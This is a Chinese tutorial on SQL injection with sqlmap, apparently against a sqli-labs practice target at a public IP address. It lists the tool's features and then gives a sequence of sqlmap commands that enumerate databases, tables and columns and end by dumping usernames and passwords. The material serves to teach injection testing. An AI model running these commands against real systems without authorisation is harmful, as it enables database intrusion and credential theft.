sql注入—sqlmap简单操作
0x01 sqlmap是什么
sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:
完全支持MySQL、Oracle、PostgreSQL、Microsoft SQLServer、Microsoft Acess、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和informix等多种数据库管理系统。
完全支持布尔型盲注、时间盲注、基于错误信息的注入、联合查询注入和堆查询注入。
在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
支持自动识别密码哈希格式并通过字典破解密码哈希
支持完全下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载一列中的部分数据,这完全取决于用户的选择。
支持在数据库管理系统中搜集指定的数据库名、表名或列名
当数据库管理系统是MySQL、PostgreSQL或Microsofe SQLServer时支持下载或上传文件
当数据库管理系统是MySQL、PostgreSQL或Microsofe SQLServer时执行任意命令并回显标准输出
0x02 简单的sql注入
1. SQL注入是什么
通过SQL命令插入到Web表单提交或输入域名或页面请求的查询字符,最终达到欺骗服务器执行恶意的SQL命令。其主要原因时程序没有细致地过滤用户输入的数据,导致非法数据侵入系统。
2.使用sqlmap进行简单注入操作
测地址试:http://106.12.198.186/Less-1/?id=1
具体步骤:
查看是否存在sql注入
sqlmap -u "http://106.12.198.186/Less-1/?id=1" |
获取数据库信息
sqlmap -u "http://106.12.198.186/Less-1/?id=1" --dbs |
available databases有5个
列出当前应用使用的数据库
sqlmap -u "http://106.12.198.186/Less-1/?id=1" --current-db |
现在我们拿到了所使用的库为security,然后由此拿到库中的表名
sqlmap -u "http://106.12.198.186/Less-1/?id=1" -D security --tables |
很容易想到用户信息应该都存放在users表中,因此获取users中表字段名称
sqlmap -u "http://106.12.198.186/Less-1/?id=1" -D security -T users --columns |
攻击者感兴趣的一定是user和password字段,下一步就是dump他们 (dump 转存数据库数据)
sqlmap -u "http://106.12.198.186/Less-1/?id=1" -D security -T users -C username,password --dump |
可以看到,sqlmap猜解除了所有的用户名和密码,至此完成了此次sql注入!
我们把数据打印出来